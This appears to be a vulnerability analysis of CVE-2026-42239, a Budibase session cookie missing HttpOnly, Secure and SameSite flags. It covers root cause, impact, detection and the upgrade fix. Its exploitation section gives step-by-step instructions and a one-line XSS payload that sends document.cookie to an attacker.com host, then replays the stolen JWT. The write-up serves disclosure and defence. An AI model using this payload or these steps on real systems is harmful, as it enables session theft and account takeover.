CVE-2026-42239: 
JavaScript vulnerability analysis and mitigation

CVE-2026-42239 is a sensitive cookie misconfiguration vulnerability in Budibase, an open-source low-code platform, where the budibase:auth session cookie is set with httpOnly: false, allowing JavaScript to read the JWT session token via document.cookie. This flaw means any XSS vulnerability in the platform can be escalated to a full account takeover through JWT theft. All Budibase versions prior to 3.35.10 are affected. The vulnerability was published on May 7, 2026, and patched in version 3.35.10 released April 21, 2026. It carries a CVSS v3.1 base score of 8.1 (High) (GitHub Advisory).

The root cause is classified as CWE-1004 (Sensitive Cookie Without 'HttpOnly' Flag). In packages/backend-core/src/utils/utils.ts at line 218, the cookie configuration hardcodes httpOnly: false, enabling any JavaScript execution context — including XSS payloads, injected scripts, or browser extensions — to access the budibase:auth cookie containing the signed JWT. Compounding the issue, the cookie also lacks the secure flag (allowing transmission over plaintext HTTP) and the sameSite attribute (leaving it susceptible to cross-site request attachment). This vulnerability is particularly dangerous in combination with a previously disclosed stored XSS vulnerability (GHSA-gp5x-2v54-v2q5) in Budibase entity names, which provides a ready attack vector (GitHub Advisory).

Successful exploitation allows an attacker who can execute JavaScript in a victim's browser (via any XSS vector) to exfiltrate the victim's JWT session token and gain persistent, unauthorized access to the victim's Budibase account with the same privileges as the compromised user. Because the cookie configuration is hardcoded and applies to all deployments, every Budibase instance prior to 3.35.10 is affected regardless of configuration. The absence of the secure flag additionally exposes the JWT to interception over unencrypted HTTP connections, further broadening the attack surface (GitHub Advisory).

A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, demonstrating a concrete XSS payload that exfiltrates the JWT to an attacker-controlled server. The advisory notes that this vulnerability chains effectively with the stored XSS vulnerability GHSA-gp5x-2v54-v2q5 (published April 2, 2026), which allows injection via unsanitized entity names. There is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.026% (very low probability of near-term exploitation), and the vulnerability is not listed in the CISA KEV catalog (GitHub Advisory).

1. Identify a target Budibase instance: Locate a Budibase deployment running a version prior to 3.35.10, accessible via a web browser.
2. Identify or exploit an XSS vector: Leverage an existing XSS vulnerability such as GHSA-gp5x-2v54-v2q5 (stored XSS via unsanitized entity names) or any other XSS present in the application.
3. Inject the XSS payload: Create an entity (e.g., a table row or record) with a name or field containing the following payload:

new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

4. Wait for victim interaction: When any authenticated user views the entity containing the payload, the script executes in their browser context.
5. Capture the JWT: The victim's budibase:auth cookie — containing the full signed JWT session token — is sent to the attacker's server as a query parameter.
6. Achieve persistent account access: The attacker uses the stolen JWT in subsequent API requests (e.g., via Authorization header or cookie replay) to authenticate as the victim and maintain persistent access to their Budibase account (GitHub Advisory).

• Network: Outbound HTTP/HTTPS requests from a user's browser to unexpected external domains (e.g., attacker.com) with query parameters containing URL-encoded cookie values; unusual API requests to the Budibase backend using JWT tokens from unexpected IP addresses or user agents.
• Logs: Budibase access logs showing authenticated API calls from IP addresses inconsistent with the legitimate user's session history; multiple sessions active simultaneously for the same user account from geographically disparate locations.
• Application: Presence of <script> tags or JavaScript payloads in entity names, field values, or other user-controlled content within the Budibase database; unexpected modifications to application data or settings made under a legitimate user's account.

Upgrade Budibase to version 3.35.10 or later, which sets the budibase:auth cookie with the secure flag as part of the fix (PR #18571). The patch corrects the hardcoded httpOnly: false configuration in packages/backend-core/src/utils/utils.ts. As a defense-in-depth measure, administrators should also implement a strict Content Security Policy (CSP) to limit the impact of any XSS vulnerabilities, enforce HTTPS-only deployments, and apply input validation and output encoding throughout the application (GitHub Advisory, Budibase Release).

The vulnerability was discovered by security researcher AyushParkara during a broader audit of the Budibase codebase, during which multiple additional security issues were identified including SSRF, SQL injection, and authorization bypass vulnerabilities. The advisory notes the researcher submitted several critical findings simultaneously. Social media activity was limited, with brief mentions on Bluesky and automated CVE tracking feeds. No significant mainstream media coverage or notable researcher commentary beyond the original advisory has been identified (GitHub Advisory).